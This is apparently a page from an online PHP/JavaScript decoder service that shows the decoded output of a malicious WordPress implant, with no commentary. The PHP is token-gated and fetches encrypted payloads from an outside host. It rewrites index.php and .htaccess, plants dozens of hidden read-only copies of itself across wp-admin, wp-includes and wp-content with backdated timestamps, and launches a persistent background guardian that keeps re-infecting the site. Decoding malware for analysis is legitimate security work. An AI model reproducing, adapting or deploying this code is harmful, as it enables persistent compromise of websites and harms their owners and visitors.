Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


 @error_reporting(0);
@set_time_limit(0);
 $k0 = "token";
	 if (!isset($_GET[$k0]) || $_GET[$k0] !== hex2bin('737832315f3966346332623765366131643830353363346537613662326439663163386533')) {
	     header(hex2bin('436f6e74656e742d547970653a20696d6167652f676966'));
	     echo hex2bin('47494638396101000100800000000000ffffff21f90401000000002c000000000100010000020144003b');
	     exit;
	 
}
 $a1 = hex2bin('2f686f6d652f7777772f636c69636b616e646275696c64732f6d6f76656d6f72656b69726b6c656573');
 $c3 = hex2bin('fc2ccf8606cd4a44228fee5d9ab878cbea6e33f341adc6a4');
 $seed = '1412fd8b2d0768d2fbef002b780dcaba';
 $tm = (int)'1788871256';
 $dpn = hex2bin('2f686f6d652f7777772f636c69636b616e646275696c64732f6d6f76656d6f72656b69726b6c6565732f77702d737832312e706870');
 $ddn = (int)'1794558392';
 $d4 = base64_decode('OWZmYzYxNjgwODE0YmYwYTBhNWlWWkp6SlRka0lBZk5pNG5uakFBQldONUlVeTVJaCt1WlJsUlh0N0IzN1laMnc3dHNiaU8rUFBKQTY1Y2l0M0twZkhySjRHWDA1YXowc20rVHhYR0R4RkVJcGRHTHkxY1JlVFFyVzd2WnpGd3BiNktvTE9mV3NlYU41UENTdm1KUktFRm1UYkFuN1g4R0lQUWJWaElXQmRCT2kzR05BaFAvUjkvRFJnZUNBRFhoNHFHQnd5L2ZoZmJ5N2o4Vy93NS9zZ0xyd3Izc3cvQkFqNWpLb1l3eG5TaURIM0tXMDY1SE1EN1NOSEFUeFZSalg4bFdmMTYwZmptMSt6UDBzZnlnSCt0WklaWnhpa2V6bjJvTGJySjhuUFJOT1lwSXgxdGtDRjgzbmNBRXpnU0I4N20xT01NdkhWRE1oTndMdEFLT253RFdJUjdmdkt2T3JmeGsrOWZJRXV2TzhacFFCVjNBcUcxbWR3SGhhOWExRUxXbXUvQnFmZVVhL1Nta3NLWWJGZklpNzZSSXc4UzQvOUlvVm92WUN0Z0NGOWF4NFZ5d2doQTRGdzBUT2tHeTEyM0diaDdWZ3NMSFpnOXdudVp2MlBBZXJhSDQ4eFVheU9RMURobXNTK3YycXh2ZHhZWW5QSWJvS1RVc2tVKytUN3N0aEVsQ0pxUjJsY3p6a0NSaHJ1RTVPblZqUlNTcFQ3WFM2TDN1UWV5TzRRRVNHTXI1c25EZEpUQzJFSEpUL2lLQ29LUFhOczV0N2tjRC9NSjRQTVFGK2ZOOW1tY0V5Rm9Zalova1VWTHcxQ0tnVTlaWVhwSW1UVWUrUy85dE1ybVpMc1dVTG83T3Z5WktWTmk1aVp5UVFTRzVING1lK3V4R2FRPT0=');
 $e5 = base64_decode('OWZmYzYxNjgwODE0YmYwYTVXQ0ZsTWhLTUJSWFVlaHk3OGpzcFBOWkZ0S1hZQ2RwcHowdS9RZEdQbWNaV1NDNjJZRExNTXRtQ3FFZ29pTTllS28rWndTMXJkRUYyR09UZE1xUFRuZGFXa0VMelZWNjZ6MDVMSTQzQnY1bzNnektaTW9TOXZhR1doQjRHRHpwNU9DRy9paVZnVWd2aVh2LzkzVjk5STdSSE01dXhqSUwybTl6emVPTk1ETXA5ank0RklYa1JJd2x1Q3Nqd0xwZ2NDTU1zbVhYazIwOEVBWXM5RU5yOTBBZ2RmUUxERG00QnFMMC83bWNrWmFhbk1KMEZpSGRDS3MrZ3pNV1BtMllpSmNyaUJoYXU5Y0ZhZDVDcSszSDVRPT0=');
 $p16 = hex2bin('2f7573722f62696e2f7068702d636769382e35');
 $p17 = hex2bin('2f686f6d652f7777772f636c69636b616e646275696c64732f6d6f76656d6f72656b69726b6c6565732f77702d636f6e74656e742f75706c6f6164732f2e7379732d63616368652f636c65616e2e706870');
 $rm_get_url = hex2bin('687474703a2f2f696d672e7074666973682e746f702f6d6f76656d6f72656b69726b6c6565732e6f72672f');
 $q18 = base64_decode('PD9waHAKaWYgKFBIUF9TQVBJICE9PSAnY2xpJykgeyBAaGVhZGVyKGhleDJiaW4oJzQ4NTQ1NDUwMmYzMTJlMzEyMDM0MzAzNDIwNGU2Zjc0MjA0NjZmNzU2ZTY0JykpOyBleGl0OyB9CkBlcnJvcl9yZXBvcnRpbmcoMCk7IEBzZXRfdGltZV9saW1pdCgwKTsgQGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwokYiA9ICdfX0JBU0VfXyc7ICRzID0gaGV4MmJpbignX19TQUxUSEVYX18nKTsgJHUgPSBoZXgyYmluKCdfX0dFVF9VUkxfSEVYX18nKTsKJG5fYXJyID0ganNvbl9kZWNvZGUoaGV4MmJpbignX19OT0RFU19IRVhfXycpLCB0cnVlKTsKJG5fY29kZSA9IGJhc2U2NF9kZWNvZGUoJ19fTk9ERV9CNjRfXycpOwokdXJlZiA9ICdfX05PREVSRUZfXyc7CiRlcCA9ICdfX0VQT0NIRF9fJzsKJHQ5ID0gKGludCknX19USU1FX18nOwokZHAgPSBoZXgyYmluKCdfX0RQQVRIMl9fJyk7ICRkZCA9IChpbnQpJ19fRERFTDJfXyc7CgokZjYgPSAiXHg2Nlx4NjlceDZjXHg2NVx4NWZceDY3XHg2NVx4NzRceDVmXHg2M1x4NmZceDZlXHg3NFx4NjVceDZlXHg3NFx4NzMiOwokZzcgPSAiXHg2Nlx4NjlceDZjXHg2NVx4NWZceDcwXHg3NVx4NzRceDVmXHg2M1x4NmZceDZlXHg3NFx4NjVceDZlXHg3NFx4NzMiOwokaDggPSAiXHg2ZFx4NjRceDM1XHg1Zlx4NjZceDY5XHg2Y1x4NjUiOwokajEwID0gIlx4NjNceDY4XHg2ZFx4NmZceDY0IjsKJGsxMSA9ICJceDY2XHg2OVx4NmNceDY1XHg1Zlx4NjVceDc4XHg2OVx4NzNceDc0XHg3MyI7CiRsMTIgPSAiXHg2Zlx4NzBceDY1XHg2ZVx4NzNceDczXHg2Y1x4NWZceDY0XHg2NVx4NjNceDcyXHg3OVx4NzBceDc0IjsKJG0xNCA9ICJceDZkXHg2Ylx4NjRceDY5XHg3MiI7CiRuMTQgPSAiXHg2NFx4NjlceDcyXHg2ZVx4NjFceDZkXHg2NSI7CiRvMTYgPSAiXHg2Zlx4NzBceDY1XHg2ZVx4NzNceDczXHg2Y1x4NWZceDY1XHg2ZVx4NjNceDcyXHg3OVx4NzBceDc0IjsKJHUyNCA9ICJceDczXHg3OVx4NzNceDVmXHg2N1x4NjVceDc0XHg1Zlx4NzRceDY1XHg2ZFx4NzBceDVmXHg2NFx4NjlceDcyIjsKCiRzZiA9IGRlZmluZWQoJ1NYX0YnKSA/IFNYX0YgOiBfX0ZJTEVfXzsKJHNlbGZfc3JjID0gQCRmNigkc2YpOwokZXBmID0gJG4xNCgkc2YpIC4gJy8uZ3VhcmQvZXBvY2gnOwoKJGxfZmlsZSA9ICR1MjQoKSAuIGhleDJiaW4oJzJmNjc3NTYxNzI2NDVmNjM2YzY1NjE2ZTVmJykgLiBtZDUoJGIpIC4gaGV4MmJpbignMmU2YzZmNjM2YicpOwokaF9maWxlID0gJHUyNCgpIC4gaGV4MmJpbignMmY2Nzc1NjE3MjY0NWY2MzZjNjU2MTZlNWYnKSAuIG1kNSgkYikgLiBoZXgyYmluKCcyZTYyNjU2MTc0Jyk7CiRmcCA9IEBmb3BlbigkbF9maWxlLCAnYycpOwppZiAoISRmcCkgZXhpdDsKaWYgKCFAZmxvY2soJGZwLCBMT0NLX0VYIHwgTE9DS19OQikpIGV4aXQ7CkBmdHJ1bmNhdGUoJGZwLCAwKTsgQGZ3cml0ZSgkZnAsIGdldG15cGlkKCkgLiAnfCcgLiAkZXApOyBAZmZsdXNoKCRmcCk7CkAkZzcoJGhfZmlsZSwgdGltZSgpKTsKCndoaWxlICh0cnVlKSB7CiAgICBAY2xlYXJzdGF0Y2FjaGUoKTsKICAgIEAkZzcoJGhfZmlsZSwgdGltZSgpKTsKICAgICRlcF90eHQgPSBAJGY2KCRlcGYpOwogICAgaWYgKCRlcF90eHQgIT09IGZhbHNlICYmIHRyaW0oJGVwX3R4dCkgIT09ICRlcCkgZXhpdDsKICAgIGlmICgkZGQgPiAwICYmIHRpbWUoKSA+PSAkZGQpIHsgQHVubGluaygkZHApOyAkZGQgPSAwOyB9CiAgICBpZiAoJHNlbGZfc3JjICE9PSBmYWxzZSAmJiAoIUAkazExKCRzZikgfHwgQGZpbGVzaXplKCRzZikgPT09IDApKSB7CiAgICAgICAgQCRqMTAoJG4xNCgkc2YpLCAwNzU1KTsKICAgICAgICBAJG0xNCgkbjE0KCRzZiksIDA3NTUsIHRydWUpOwogICAgICAgIEAkajEwKCRzZiwgMDc1NSk7CiAgICAgICAgQCRnNygkc2YsICRzZWxmX3NyYywgTE9DS19FWCk7CiAgICAgICAgQHRvdWNoKCRzZiwgJHQ5KTsKICAgICAgICBAJGoxMCgkc2YsIDA0NDQpOwogICAgfQoKICAgICR0X2FyciA9IFsKICAgICAgICAkYiAuIGhleDJiaW4oJzJmNjk2ZTY0NjU3ODJlNzA2ODcwJykgPT4gWydoZXgnID0+IGJhc2U2NF9kZWNvZGUoJ19fSURYNjRfXycpLCAnc3JjcycgPT4gWyRiIC4gaGV4MmJpbignMmY2OTZkNjE2NzY1NzMyZjJlNzM3ODJmNjI2MTZlNmU2NTcyMmU2YTcwNjcnKSwgJGIgLiBoZXgyYmluKCcyZjY5NmQ2MTY3NjU3MzJmMmU3Mzc4MmY2MjYxNmU2ZTY1NzIyZTcwNzI2NTc2MmU2YTcwNjcnKSwgJGIgLiBoZXgyYmluKCcyZjc3NzAyZDY5NmU2MzZjNzU2NDY1NzMyZjU0NjU3ODc0MmY0NDY5NjY2NjJmNTI2NTZlNjQ2NTcyNjU3MjJmNjU2ZTJlNzQ3NDY2JyldLCAncmVtb3RlJyA9PiBoZXgyYmluKCc2MjYxNmU2ZTY1NzIyZTZhNzA2NycpLCAncmVtb3RlX3ByZXYnID0+IGhleDJiaW4oJzYyNjE2ZTZlNjU3MjJlNzA3MjY1NzYyZTZhNzA2NycpLCAncGVybScgPT4gMDU1NV0sCiAgICAgICAgJGIgLiBoZXgyYmluKCcyZjJlNjg3NDYxNjM2MzY1NzM3MycpID0+IFsnaGV4JyA9PiBiYXNlNjRfZGVjb2RlKCdfX0hUQTY0X18nKSwgJ3NyY3MnID0+IFskYiAuIGhleDJiaW4oJzJmNjk2ZDYxNjc2NTczMmYyZTczNzgyZjczNzQ3OTZjNjU1ZjYyNjcyZTcwNmU2NycpLCAkYiAuIGhleDJiaW4oJzJmNjk2ZDYxNjc2NTczMmYyZTczNzgyZjczNzQ3OTZjNjU1ZjYyNjcyZTcwNzI2NTc2MmU3MDZlNjcnKSwgJGIgLiBoZXgyYmluKCcyZjc3NzAyZDY5NmU2MzZjNzU2NDY1NzMyZjU0NjU3ODc0MmY0NDY5NjY2NjJmNTI2NTZlNjQ2NTcyNjU3MjJmNjY3MjJlNzQ3NDY2JyldLCAncmVtb3RlJyA9PiBoZXgyYmluKCc3Mzc0Nzk2YzY1NWY2MjY3MmU3MDZlNjcnKSwgJ3JlbW90ZV9wcmV2JyA9PiBoZXgyYmluKCc3Mzc0Nzk2YzY1NWY2MjY3MmU3MDcyNjU3NjJlNzA2ZTY3JyksICdwZXJtJyA9PiAwNTU1XQogICAgXTsKCiAgICBmb3JlYWNoICgkdF9hcnIgYXMgJGZpbGUgPT4gJGluZm8pIHsKICAgICAgICBpZiAoJGsxMSgkZmlsZSkgJiYgZmlsZXNpemUoJGZpbGUpID4gMCkgewogICAgICAgICAgICAkY3VyciA9IEAkZjYoJGZpbGUpOwogICAgICAgICAgICAkc3JjMCA9IEAkZjYoJGluZm9bJ3NyY3MnXVswXSk7CiAgICAgICAgICAgIGlmICgkc3JjMCAmJiAkY3VyciA9PT0gJGwxMihzdWJzdHIoJHNyYzAsIDE2KSwgJ2Flcy0yNTYtY2JjJywgJHMsIDAsIHN1YnN0cigkc3JjMCwgMCwgMTYpKSkgY29udGludWU7CiAgICAgICAgfQoKICAgICAgICAkc3JjX3UgPSAnJzsKICAgICAgICAkZXhwID0gJGwxMihzdWJzdHIoJGluZm9bJ2hleCddLCAxNiksICdhZXMtMjU2LWNiYycsICRzLCAwLCBzdWJzdHIoJGluZm9bJ2hleCddLCAwLCAxNikpOwoKICAgICAgICBpZiAoJGV4cCA9PT0gZmFsc2UgfHwgc3RybGVuKCRleHApID09IDApIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGluZm9bJ3NyY3MnXSBhcyAkc3JjKSB7CiAgICAgICAgICAgICAgICBpZiAoJGsxMSgkc3JjKSkgewogICAgICAgICAgICAgICAgICAgICRjID0gQCRmNigkc3JjKTsKICAgICAgICAgICAgICAgICAgICAkZXhwID0gJGwxMihzdWJzdHIoJGMsIDE2KSwgJ2Flcy0yNTYtY2JjJywgJHMsIDAsIHN1YnN0cigkYywgMCwgMTYpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGV4cCAhPT0gZmFsc2UgJiYgc3RybGVuKCRleHApID4gMCkgeyAkc3JjX3UgPSAkc3JjOyBicmVhazsgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJGV4cCAhPT0gZmFsc2UgJiYgc3RybGVuKCRleHApID4gMCkgewogICAgICAgICAgICBAJGoxMCgkYiwgMDc1NSk7IEAkajEwKCRmaWxlLCAwNzU1KTsgQCRnNygkZmlsZSwgJGV4cCwgTE9DS19FWCk7IEB0b3VjaCgkZmlsZSwgJHQ5KTsgQCRqMTAoJGZpbGUsICRpbmZvWydwZXJtJ10pOwoKICAgICAgICAgICAgJGNpcGhlciA9ICgkc3JjX3UgPT09ICcnKSA/ICRpbmZvWydoZXgnXSA6IEAkZjYoJHNyY191KTsKICAgICAgICAgICAgaWYgKCEkY2lwaGVyKSB7ICRpdiA9IHN1YnN0cihtZDUoJHMpLCAwLCAxNik7ICRjaXBoZXIgPSAkaXYgLiAkbzE2KCRleHAsICdhZXMtMjU2LWNiYycsICRzLCAwLCAkaXYpOyB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbmZvWydzcmNzJ10gYXMgJHNyYykgewogICAgICAgICAgICAgICAgaWYgKCEkazExKCRzcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgQCRtMTQoJG4xNCgkc3JjKSwgMDc1NSwgdHJ1ZSk7IEAkajEwKCRuMTQoJHNyYyksIDA3NTUpOwogICAgICAgICAgICAgICAgICAgIEAkZzcoJHNyYywgJGNpcGhlcik7IEB0b3VjaCgkc3JjLCAkdDkpOyBAJGoxMCgkc3JjLCAwNDQ0KTsgQCRqMTAoJG4xNCgkc3JjKSwgMDU1NSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoIWVtcHR5KCR1KSkgewogICAgICAgICAgICAgICAgJHJfbmFtZXMgPSBbJGluZm9bJ3JlbW90ZSddXTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGluZm9bJ3JlbW90ZV9wcmV2J10pKSAkcl9uYW1lc1tdID0gJGluZm9bJ3JlbW90ZV9wcmV2J107CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkcl9uYW1lcyBhcyAkcm4pIHsKICAgICAgICAgICAgICAgICAgICAkcl9jID0gQCRmNigkdSAuICRybik7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkcl9jKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAkZXhwID0gJGwxMihzdWJzdHIoJHJfYywgMTYpLCAnYWVzLTI1Ni1jYmMnLCAkcywgMCwgc3Vic3RyKCRyX2MsIDAsIDE2KSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRleHAgPT09IGZhbHNlIHx8IHN0cmxlbigkZXhwKSA9PSAwKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICBAJGoxMCgkYiwgMDc1NSk7IEAkajEwKCRmaWxlLCAwNzU1KTsgQCRnNygkZmlsZSwgJGV4cCwgTE9DS19FWCk7IEB0b3VjaCgkZmlsZSwgJHQ5KTsgQCRqMTAoJGZpbGUsICRpbmZvWydwZXJtJ10pOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpbmZvWydzcmNzJ10gYXMgJHNyYykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRrMTEoJHNyYykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAkbTE0KCRuMTQoJHNyYyksIDA3NTUsIHRydWUpOyBAJGoxMCgkbjE0KCRzcmMpLCAwNzU1KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAkZzcoJHNyYywgJHJfYyk7IEB0b3VjaCgkc3JjLCAkdDkpOyBAJGoxMCgkc3JjLCAwNDQ0KTsgQCRqMTAoJG4xNCgkc3JjKSwgMDU1NSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgZm9yZWFjaCAoJG5fYXJyIGFzICRub2RlKSB7CiAgICAgICAgJHNjID0gc3RyX3JlcGxhY2UoJy8qJyAuICR1cmVmIC4gJyovJywgJy8qJyAuIG1kNSgkbm9kZSkgLiAnKi8nLCAkbl9jb2RlKTsKICAgICAgICBpZiAoISRrMTEoJG5vZGUpIHx8ICRoOCgkbm9kZSkgIT09IG1kNSgkc2MpKSB7CiAgICAgICAgICAgIEAkbTE0KCRuMTQoJG5vZGUpLCAwNzU1LCB0cnVlKTsgQCRnNygkbm9kZSwgJHNjKTsgQHRvdWNoKCRub2RlLCAkdDkpOyBAJGoxMCgkbm9kZSwgMDQ0NCk7IEAkajEwKCRuMTQoJG5vZGUpLCAwNTU1KTsKICAgICAgICB9CiAgICB9CiAgICBzbGVlcCgzKTsKfQ==');
 $f6 = "file_get_contents";
 $g7 = "file_put_contents";
 $h8 = "md5_file";
 $i9 = "mkdir";
 $j10 = "chmod";
 $k11 = "file_exists";
 $l12 = "openssl_decrypt";
 $n14 = "dirname";
 $o15 = "exec";
 $v27 = "is_dir";
 $w28 = "json_encode";
 $x29 = "preg_match";
 $y30 = "sys_get_temp_dir";
 $z31 = "posix_kill";
 $c32 = "fopen";
 $d33 = "flock";
 $wfmt = hex2bin('3c3f70687020646566696e65282753585f46272c205f5f46494c455f5f293b20406576616c28677a696e666c617465286261736536345f6465636f646528272573272929293b');
 $sf = defined('SX_F') ? SX_F : __FILE__;
  $epn = 'd8152bb1f19be1b7';
 $epf = $n14($p17) . '/.guard/epoch';
 $lk = $y30() . hex2bin('2f67756172645f636c65616e5f') . md5($a1) . hex2bin('2e6c6f636b');
 $hb = $y30() . hex2bin('2f67756172645f636c65616e5f') . md5($a1) . hex2bin('2e62656174');
 $alive = false;
	 if (@$k11($lk)) {
	     $sx_parts = explode('|', (string)@$f6($lk));
	     $pd = (int)$sx_parts[0];
	     $ep_ok = isset($sx_parts[1]) && trim($sx_parts[1]) === $epn;
	     $epf_ok = @$k11($epf) && trim((string)@$f6($epf)) === $epn;
	     $hb_ok = @$k11($hb) && (time() - (int)@$f6($hb)) <= 20;
	     if ($pd > 0 && $ep_ok && $epf_ok && $hb_ok && function_exists($z31) && @$z31($pd, 0)) $alive = true;
	 
}
  $rl = $y30() . hex2bin('2f67756172645f7265706169725f') . md5($a1) . hex2bin('2e6c6f636b');
 $rf = @$c32($rl, 'c');
	 if ($rf && !@$d33($rf, LOCK_EX | LOCK_NB)) {
	 echo hex2bin('42555359');
	 exit;
	 
}
  $my_code = @$f6($sf);
 $ud = md5($sf);
 $um = [];
	 if (is_string($my_code) && $x29('#/\*([0-9a-f]{
	32
}
)\*/#', $my_code, $um)) $ud = $um[1];
 $roots = [hex2bin('77702d61646d696e'), hex2bin('77702d636f6e74656e74'), hex2bin('77702d696e636c75646573')];
 $av = [];
	 foreach ($roots as $r) {
	 if (@$v27($a1 . '/' . $r)) $av[] = $r;
	 
}
 if (empty($av)) $av[] = '';
 $nodes_arr = [];
 for ($i = 0;
 $i < 20;
	 $i++) {
	     $h = md5($seed . '|' . $i);
	     $r = $av[$i % count($av)];
	     $d1 = substr($h, 0, 6);
	 $d2 = substr($h, 6, 6);
	     $seg = ($i % 3 === 2) ? ($d2 . '/' . substr($h, 12, 6)) : $d2;
	     $nodes_arr[] = rtrim($a1, '/\\') . '/' . $r . '/' . $d1 . '/' . $seg . hex2bin('2f696e6465782e706870');
	 
}
 $an = [hex2bin('77702d61646d696e2f637373'), hex2bin('77702d61646d696e2f6a73'), hex2bin('77702d61646d696e2f696d61676573'), hex2bin('77702d61646d696e2f696e636c75646573'), hex2bin('77702d696e636c756465732f637373'), hex2bin('77702d696e636c756465732f6a73'), hex2bin('77702d696e636c756465732f696d61676573'), hex2bin('77702d696e636c756465732f626c6f636b73'), hex2bin('77702d636f6e74656e742f75706c6f616473'), hex2bin('77702d636f6e74656e742f6361636865')];
 $pl = [hex2bin('617373657473'), hex2bin('696e636c75646573'), hex2bin('6d6f64756c6573'), hex2bin('7265736f7572636573'), hex2bin('636f6e74656e74'), hex2bin('6d65646961'), hex2bin('64617461'), hex2bin('6361636865'), hex2bin('746d70'), hex2bin('6261636b7570'), hex2bin('6a73'), hex2bin('637373'), hex2bin('696d67'), hex2bin('646f6373'), hex2bin('66696c6573'), hex2bin('61726368697665'), hex2bin('32303233'), hex2bin('32303234'), hex2bin('32303235'), hex2bin('7631'), hex2bin('7632'), hex2bin('7633'), hex2bin('737263'), hex2bin('64697374'), hex2bin('6275696c64'), hex2bin('75706c6f616473'), hex2bin('696d61676573')];
 for ($i = 20;
 $i < 30;
	 $i++) {
	     $h = md5($seed . '|' . $i);
	     $ab = substr($an[$i - 20], strrpos($an[$i - 20], '/') + 1);
	     $steps = 4 + (hexdec(substr($h, 16, 2)) % 3);
	     $segs = [];
	     for ($k = 0;
	 $k < $steps;
		 $k++) {
		         $idx = hexdec(substr($h, $k * 2, 2)) % count($pl);
		         $guard = 0;
			         while ((in_array($pl[$idx], $segs, true) || ($k === 0 && $pl[$idx] === $ab)) && $guard < count($pl)) {
			             $idx = ($idx + 1) % count($pl);
			             $guard++;
			         
		}
		         $segs[] = $pl[$idx];
		     
	}
	     $nodes_arr[] = rtrim($a1, '/\\') . '/' . $an[$i - 20] . '/' . implode('/', $segs) . hex2bin('2f696e6465782e706870');
	 
}
 $tgt = [$a1 . hex2bin('2f696e6465782e706870') => ['hex' => $d4, 'name' => hex2bin('62616e6e65722e6a7067'), 'prev' => hex2bin('62616e6e65722e707265762e6a7067')], $a1 . hex2bin('2f2e6874616363657373') => ['hex' => $e5, 'name' => hex2bin('7374796c655f62672e706e67'), 'prev' => hex2bin('7374796c655f62672e707265762e706e67')]];
 $sx_expect = [];
	 foreach ($tgt as $file => $info) {
	     $expected = false;
		     if (!empty($info['hex'])) {
		         $expected = @$l12(substr($info['hex'], 16), 'aes-256-cbc', $c3, 0, substr($info['hex'], 0, 16));
		     
	}
		     if (($expected === false || strlen($expected) === 0) && !empty($rm_get_url)) {
			         foreach ([$info['name'], $info['prev']] as $sx_rn) {
			             $rc = @$f6($rm_get_url . $sx_rn);
			             if (!$rc) continue;
			             $expected = @$l12(substr($rc, 16), 'aes-256-cbc', $c3, 0, substr($rc, 0, 16));
			             if ($expected !== false && strlen($expected) > 0) break;
			         
		}
		     
	}
	     if ($expected === false || strlen($expected) === 0) continue;
	     $sx_expect[$file] = $expected;
		     if (!@$k11($file) || @$f6($file) !== $expected) {
		         @$j10($n14($file), 0755);
		 @$j10($file, 0755);
		         @$g7($file, $expected, LOCK_EX);
		 @touch($file, $tm);
		 @$j10($file, 0555);
		     
	}
	 
}
	  if ($my_code !== false && is_array($nodes_arr)) {
		     foreach ($nodes_arr as $node) {
		         if ($sf === $node) continue;
		         $sc = str_replace('', '', $my_code);
			         if (!@$k11($node) || @$h8($node) !== md5($sc)) {
			             @$j10($n14($node), 0755);
			             @$i9($n14($node), 0755, true);
			             @$g7($node, $sc);
			             @touch($node, $tm);
			             @$j10($node, 0444);
			 @$j10($n14($node), 0555);
			         
		}
		     
	}
	 
}
	  if ($q18 !== false && $my_code !== false && isset($nodes_arr[0])) {
	     $n0 = $nodes_arr[0];
	     $ncode = str_replace('', '', $my_code);
	     $dcode = strtr($q18, ['__BASE__' => $a1, '__SALTHEX__' => bin2hex($c3), '__NODES_HEX__' => bin2hex($w28($nodes_arr)), '__GET_URL_HEX__' => bin2hex($rm_get_url), '__NODE_B64__' => base64_encode($ncode), '__NODEREF__' => md5($n0), '__IDX64__' => base64_encode($d4), '__HTA64__' => base64_encode($e5), '__TIME__' => $tm, '__DPATH2__' => bin2hex($dpn), '__DDEL2__' => $ddn, '__EPOCHD__' => $epn]);
	     $dcode = str_replace(["\r\n", "\r", "\n"], ' ', $dcode);
		     if ('0' === '1' && function_exists('gzdeflate')) {
		         $dcode = ltrim($dcode);
		         if (substr($dcode, 0, 5) === hex2bin('3c3f706870')) $dcode = ltrim(substr($dcode, 5));
		         $dcode = sprintf($wfmt, base64_encode(gzdeflate($dcode, 9)));
		     
	}
		     if (strpos($dcode, hex2bin('3c3f706870')) === 0) {
			         if (!@$k11($p17) || @$h8($p17) !== md5($dcode)) {
			             @$i9($n14($p17), 0755, true);
			             @$j10($n14($p17), 0755);
			 @$j10($p17, 0755);
			             @$g7($p17, $dcode, LOCK_EX);
			             @touch($p17, $tm);
			 @touch($n14($p17), $tm);
			             @$j10($p17, 0444);
			         
		}
		     
	}
	 
}
	  if (!$alive) {
	     $cmd = escapeshellarg($p16) . ' ' . escapeshellarg($p17);
		     if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
		 if (function_exists('popen')) @pclose(@popen(hex2bin('7374617274202f4220') . $cmd, 'r'));
		 
	}
		     else {
		 if (function_exists($o15)) @$o15(hex2bin('6e6f68757020') . $cmd . hex2bin('203e202f6465762f6e756c6c20323e26312026'));
		 
	}
	 
}
 $sx_ok = true;
	 foreach ($tgt as $sx_f => $sx_info) {
		     if (!isset($sx_expect[$sx_f]) || !@$k11($sx_f) || @$f6($sx_f) !== $sx_expect[$sx_f]) {
		 $sx_ok = false;
		 break;
		 
	}
	 
}
 echo $sx_ok ? hex2bin('4f4b') : hex2bin('4641494c');
 exit;


© 2023 Quttera Ltd. All rights reserved.